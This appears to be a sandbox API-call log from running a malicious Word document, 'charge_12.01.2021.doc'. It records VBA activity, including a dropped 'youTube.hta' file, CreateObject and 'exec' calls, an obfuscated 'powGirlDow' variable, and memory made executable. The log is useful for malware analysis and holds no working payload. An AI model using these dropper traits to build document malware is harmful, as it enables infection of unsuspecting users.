[0139.447] SysStringByteLen (bstr="MatchWholeWord") returned 0x1c
[0139.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchWholeWord", cchWideChar=14, lpMultiByteStr=0x1972d0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchWholeWord×9 \x04", lpUsedDefaultChar=0x0) returned 14
[0139.447] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchWholeWord", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 1
[0139.447] SysStringByteLen (bstr="MatchWildcards") returned 0x1c
[0139.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchWildcards", cchWideChar=14, lpMultiByteStr=0x1972d0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchWildcards×9 \x04", lpUsedDefaultChar=0x0) returned 14
[0139.448] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchWildcards", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 1
[0139.448] SysStringByteLen (bstr="MatchSoundsLike") returned 0x1e
[0139.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchSoundsLike", cchWideChar=15, lpMultiByteStr=0x1972d0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchSoundsLike9 \x04", lpUsedDefaultChar=0x0) returned 15
[0139.448] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchSoundsLike", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 1
[0139.448] SysStringByteLen (bstr="MatchAllWordForms") returned 0x22
[0139.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchAllWordForms", cchWideChar=17, lpMultiByteStr=0x1972d0, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchAllWordForms\x04", lpUsedDefaultChar=0x0) returned 17
[0139.448] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchAllWordForms", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 1
[0139.448] SysStringByteLen (bstr="Forward") returned 0xe
[0139.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Forward", cchWideChar=7, lpMultiByteStr=0x1972e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Forwardf\x04s\x19", lpUsedDefaultChar=0x0) returned 7
[0139.448] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Forward", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 1
[0139.449] SysStringByteLen (bstr="Wrap") returned 0x8
[0139.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wrap", cchWideChar=4, lpMultiByteStr=0x1972e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wrap§Ä\x88f\x04s\x19", lpUsedDefaultChar=0x0) returned 4
[0139.449] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Wrap", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 3
[0139.449] SysStringByteLen (bstr="Format") returned 0xc
[0139.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Format", cchWideChar=6, lpMultiByteStr=0x1972e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Format\x88f\x04s\x19", lpUsedDefaultChar=0x0) returned 6
[0139.449] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Format", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 1
[0139.449] SysStringByteLen (bstr="ReplaceWith") returned 0x16
[0139.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ReplaceWith", cchWideChar=11, lpMultiByteStr=0x1972d0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReplaceWith", lpUsedDefaultChar=0x0) returned 11
[0139.449] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ReplaceWith", cchCount1=-1, lpString2="ReplaceWith", cchCount2=-1) returned 2
[0139.450] CRetailMalloc_Free () returned 0x1
[0139.450] CRetailMalloc_Alloc () returned 0x10333e88
[0139.450] _mbscpy_s (in: _Dst=0x10333e88, _DstSizeInBytes=0x8, _Src=0xa782782 | out: _Dst=0x10333e88) returned 0x0
[0139.450] SysStringByteLen (bstr="FindText") returned 0x10
[0139.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FindText", cchWideChar=8, lpMultiByteStr=0x1972e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FindText\x04s\x19", lpUsedDefaultChar=0x0) returned 8
[0139.450] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="FindText", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 1
[0139.450] SysStringByteLen (bstr="MatchCase") returned 0x12
[0139.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchCase", cchWideChar=9, lpMultiByteStr=0x1972e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchCases\x19", lpUsedDefaultChar=0x0) returned 9
[0139.451] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchCase", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 1
[0139.451] SysStringByteLen (bstr="MatchWholeWord") returned 0x1c
[0139.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchWholeWord", cchWideChar=14, lpMultiByteStr=0x1972d0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchWholeWord×9 \x04", lpUsedDefaultChar=0x0) returned 14
[0139.451] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchWholeWord", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 1
[0139.451] SysStringByteLen (bstr="MatchWildcards") returned 0x1c
[0139.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchWildcards", cchWideChar=14, lpMultiByteStr=0x1972d0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchWildcards×9 \x04", lpUsedDefaultChar=0x0) returned 14
[0139.451] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchWildcards", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 1
[0139.451] SysStringByteLen (bstr="MatchSoundsLike") returned 0x1e
[0139.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchSoundsLike", cchWideChar=15, lpMultiByteStr=0x1972d0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchSoundsLike9 \x04", lpUsedDefaultChar=0x0) returned 15
[0139.451] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchSoundsLike", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 1
[0139.452] SysStringByteLen (bstr="MatchAllWordForms") returned 0x22
[0139.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MatchAllWordForms", cchWideChar=17, lpMultiByteStr=0x1972d0, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MatchAllWordForms\x04", lpUsedDefaultChar=0x0) returned 17
[0139.452] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="MatchAllWordForms", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 1
[0139.452] SysStringByteLen (bstr="Forward") returned 0xe
[0139.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Forward", cchWideChar=7, lpMultiByteStr=0x1972e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Forwardf\x04s\x19", lpUsedDefaultChar=0x0) returned 7
[0139.452] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Forward", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 1
[0139.452] SysStringByteLen (bstr="Wrap") returned 0x8
[0139.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wrap", cchWideChar=4, lpMultiByteStr=0x1972e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wrap§Ä\x88f\x04s\x19", lpUsedDefaultChar=0x0) returned 4
[0139.452] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Wrap", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 3
[0139.452] SysStringByteLen (bstr="Format") returned 0xc
[0139.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Format", cchWideChar=6, lpMultiByteStr=0x1972e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Format\x88f\x04s\x19", lpUsedDefaultChar=0x0) returned 6
[0139.452] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Format", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 1
[0139.452] SysStringByteLen (bstr="ReplaceWith") returned 0x16
[0139.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ReplaceWith", cchWideChar=11, lpMultiByteStr=0x1972d0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReplaceWith", lpUsedDefaultChar=0x0) returned 11
[0139.452] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ReplaceWith", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 3
[0139.452] SysStringByteLen (bstr="Replace") returned 0xe
[0139.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Replace", cchWideChar=7, lpMultiByteStr=0x1972e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Replacef\x04s\x19", lpUsedDefaultChar=0x0) returned 7
[0139.452] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Replace", cchCount1=-1, lpString2="Replace", cchCount2=-1) returned 2
[0139.453] CRetailMalloc_Free () returned 0x1
[0139.455] CRetailMalloc_Realloc () returned 0x1033b7e8
[0139.455] CRetailMalloc_Free () returned 0x1
[0139.456] GetCurrentProcess () returned 0xffffffff
[0139.456] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bdc, dwSize=0x14) returned 1
[0139.456] VirtualProtect (in: lpAddress=0x10310bdc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1
[0139.457] GetCurrentProcess () returned 0xffffffff
[0139.457] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bdd, dwSize=0x2) returned 1
[0139.457] GetCurrentProcess () returned 0xffffffff
[0139.457] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bfc, dwSize=0x14) returned 1
[0139.457] VirtualProtect (in: lpAddress=0x10310bfc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1
[0139.458] GetCurrentProcess () returned 0xffffffff
[0139.458] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bfd, dwSize=0x2) returned 1
[0139.458] GetCurrentProcess () returned 0xffffffff
[0139.458] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310c1c, dwSize=0x14) returned 1
[0139.458] VirtualProtect (in: lpAddress=0x10310c1c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1
[0139.459] GetCurrentProcess () returned 0xffffffff
[0139.459] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310c1d, dwSize=0x2) returned 1
[0139.460] GetAsyncKeyState (vKey=3) returned 0
[0142.362] GetAsyncKeyState (vKey=3) returned 0
[0142.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="New", cchWideChar=4, lpMultiByteStr=0x18ad88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="New", lpUsedDefaultChar=0x0) returned 4
[0142.980] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0xd, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.980] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x4, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x18ad88, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5
[0142.980] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0xe, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.980] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x5, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Close", cchWideChar=6, lpMultiByteStr=0x18ad88, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Close", lpUsedDefaultChar=0x0) returned 6
[0142.981] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0xf, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.981] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x6, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sync", cchWideChar=5, lpMultiByteStr=0x18ad88, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sync", lpUsedDefaultChar=0x0) returned 5
[0142.981] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0xe, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.981] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x5, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XMLAfterInsert", cchWideChar=15, lpMultiByteStr=0x18ad88, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XMLAfterInsert", lpUsedDefaultChar=0x0) returned 15
[0142.981] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0x18, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.981] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0xf, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XMLBeforeDelete", cchWideChar=16, lpMultiByteStr=0x18ad88, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XMLBeforeDelete", lpUsedDefaultChar=0x0) returned 16
[0142.981] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0x19, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.981] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x10, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlAfterAdd", cchWideChar=23, lpMultiByteStr=0x18ad88, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlAfterAdd", lpUsedDefaultChar=0x0) returned 23
[0142.982] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0x20, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.982] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x17, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlBeforeDelete", cchWideChar=27, lpMultiByteStr=0x18ad88, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlBeforeDelete", lpUsedDefaultChar=0x0) returned 27
[0142.982] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0x24, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.982] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x1b, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlOnExit", cchWideChar=21, lpMultiByteStr=0x18ad88, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlOnExit", lpUsedDefaultChar=0x0) returned 21
[0142.982] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0x1e, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.982] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x15, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlOnEnter", cchWideChar=22, lpMultiByteStr=0x18ad88, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlOnEnter", lpUsedDefaultChar=0x0) returned 22
[0142.983] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0x1f, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.983] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x16, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlBeforeStoreUpdate", cchWideChar=32, lpMultiByteStr=0x18ad88, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlBeforeStoreUpdate", lpUsedDefaultChar=0x0) returned 32
[0142.983] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0x29, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.983] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x20, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ContentControlBeforeContentUpdate", cchWideChar=34, lpMultiByteStr=0x18ad88, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ContentControlBeforeContentUpdate", lpUsedDefaultChar=0x0) returned 34
[0142.983] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0x2b, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.983] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x22, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0142.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuildingBlockInsert", cchWideChar=20, lpMultiByteStr=0x18ad88, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BuildingBlockInsert", lpUsedDefaultChar=0x0) returned 20
[0142.983] _mbscpy_s (in: _Dst=0x18ac90, _DstSizeInBytes=0x1d, _Src=0xa782a1e | out: _Dst=0x18ac90) returned 0x0
[0142.983] _mbscpy_s (in: _Dst=0x18ac99, _DstSizeInBytes=0x14, _Src=0x18ad88 | out: _Dst=0x18ac99) returned 0x0
[0144.559] free (_Block=0xa765118)
[0144.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="YouTube", cchWideChar=-1, lpMultiByteStr=0xa765118, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YouTube", lpUsedDefaultChar=0x0) returned 8
[0144.560] _wfullpath (in: _Buffer=0x18abd0, _Path="C:\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc", _BufferCount=0x104 | out: _Buffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc"
[0144.560] lstrcmpiW (lpString1="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc") returned 1
[0144.560] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0144.560] wcscpy_s (in: _Destination=0x18a9ee, _SizeInWords=0x105, _Source="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta" | out: _Destination="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned 0x0
[0144.560] _wcsicmp (_String1="*\\CC:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", _String2="*\\CC:\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc") returned 10
[0144.560] wcscpy_s (in: _Destination=0xb9ca7fc, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0
[0144.562] CRetailMalloc_Alloc () returned 0xbb2ec98
[0144.562] CRetailMalloc_Free () returned 0x1
[0144.562] CRetailMalloc_Alloc () returned 0xbb2e680
[0144.563] CRetailMalloc_Free () returned 0x1
[0144.563] CRetailMalloc_Alloc () returned 0xbb2ddf8
[0144.563] CRetailMalloc_Free () returned 0x1
[0144.563] CRetailMalloc_Alloc () returned 0xbb2ddf8
[0144.563] CRetailMalloc_Free () returned 0x1
[0144.564] CRetailMalloc_Alloc () returned 0xa1bb738
[0144.564] CRetailMalloc_Free () returned 0x1
[0144.564] CRetailMalloc_Alloc () returned 0xa1bb738
[0144.564] CRetailMalloc_Free () returned 0x1
[0144.565] CRetailMalloc_Alloc () returned 0x104b47e8
[0144.565] CRetailMalloc_Free () returned 0x1
[0144.566] CRetailMalloc_Alloc () returned 0x104b39d0
[0144.566] CRetailMalloc_Free () returned 0x1
[0144.566] wcscpy_s (in: _Destination=0x102b7cb0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta" | out: _Destination="*\\CC:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned 0x0
[0144.566] _wfullpath (in: _Buffer=0x18abcc, _Path="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", _BufferCount=0x104 | out: _Buffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta"
[0144.566] lstrcmpiW (lpString1="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc") returned 1
[0144.672] free (_Block=0xa765118)
[0144.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="YouTube", cchWideChar=-1, lpMultiByteStr=0xa765118, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YouTube", lpUsedDefaultChar=0x0) returned 8
[0144.843] GetAsyncKeyState (vKey=3) returned 0
[0144.843] CRetailMalloc_Realloc () returned 0x104d9400
[0144.843] CRetailMalloc_Alloc () returned 0xbafddf0
[0144.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbafb00e, cbMultiByte=9, lpWideCharStr=0x11410120, cchWideChar=20 | out: lpWideCharStr="explorer ") returned 9
[0144.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a2762, cbMultiByte=13, lpWideCharStr=0x197464, cchWideChar=14 | out: lpWideCharStr="CreateObject") returned 13
[0144.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa7828be, cbMultiByte=13, lpWideCharStr=0x1974c4, cchWideChar=14 | out: lpWideCharStr="CreateObject") returned 13
[0144.844] SysStringByteLen (bstr="") returned 0x0
[0144.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x197380, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x9b¤\x88fÀ2)\x10\x90\x910\x10", lpUsedDefaultChar=0x0) returned 0
[0144.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10237fcc, cbMultiByte=0, lpWideCharStr=0x114104c8, cchWideChar=2 | out: lpWideCharStr="") returned 0
[0144.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa7828ea, cbMultiByte=6, lpWideCharStr=0x197278, cchWideChar=5 | out: lpWideCharStr="exec") returned 0
[0144.846] wcscpy_s (in: _Destination=0x102e7a1c, _SizeInWords=0x5, _Source="exec" | out: _Destination="exec") returned 0x0
[0144.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a278e, cbMultiByte=11, lpWideCharStr=0x197464, cchWideChar=12 | out: lpWideCharStr="powGirlDow") returned 11
[0144.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa782896, cbMultiByte=11, lpWideCharStr=0x1974c4, cchWideChar=12 | out: lpWideCharStr="powGirlDow") returned 11
[0144.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa782896, cbMultiByte=11, lpWideCharStr=0x1974c4, cchWideChar=12 | out: lpWideCharStr="powGirlDow") returned 11
[0144.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa782896, cbMultiByte=11, lpWideCharStr=0x1974c4, cchWideChar=12 | out: lpWideCharStr="powGirlDow") returned 11
[0144.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa782896, cbMultiByte=11, lpWideCharStr=0x1974c4, cchWideChar=12 | out: lpWideCharStr="powGirlDow") returned 11
[0144.847] CRetailMalloc_Alloc () returned 0xb9ef140
[0144.847] _mbscpy_s (in: _Dst=0xb9ef140, _DstSizeInBytes=0xb, _Src=0xa782896 | out: _Dst=0xb9ef140) returned 0x0
[0144.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa782a76, cbMultiByte=18, lpWideCharStr=0x1974d4, cchWideChar=19 | out: lpWideCharStr="_B_var_powGirlDow") returned 18
[0144.848] _mbscpy_s (in: _Dst=0x19753c, _DstSizeInBytes=0xb, _Src=0xa782896 | out: _Dst=0x19753c) returned 0x0
[0144.848] CRetailMalloc_Free () returned 0x1
[0144.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x66a6ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9
[0144.849] CRetailMalloc_Realloc () returned 0xbafddf0
[0144.849] CRetailMalloc_Free () returned 0x1
[0144.849] GetCurrentProcess () returned 0xffffffff
[0144.849] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bdc, dwSize=0x14) returned 1
[0144.849] VirtualProtect (in: lpAddress=0x10310bdc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19738c | out: lpflOldProtect=0x19738c*=0x40) returned 1
[0144.851] GetCurrentProcess () returned 0xffffffff
[0144.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bdd, dwSize=0x2) returned 1
[0144.851] GetCurrentProcess () returned 0xffffffff
[0144.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bfc, dwSize=0x14) returned 1
[0144.851] VirtualProtect (in: lpAddress=0x10310bfc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19738c | out: lpflOldProtect=0x19738c*=0x40) returned 1
[0144.852] GetCurrentProcess () returned 0xffffffff
[0144.852] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310bfd, dwSize=0x2) returned 1
[0144.852] GetCurrentProcess () returned 0xffffffff
[0144.852] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310c1c, dwSize=0x14) returned 1
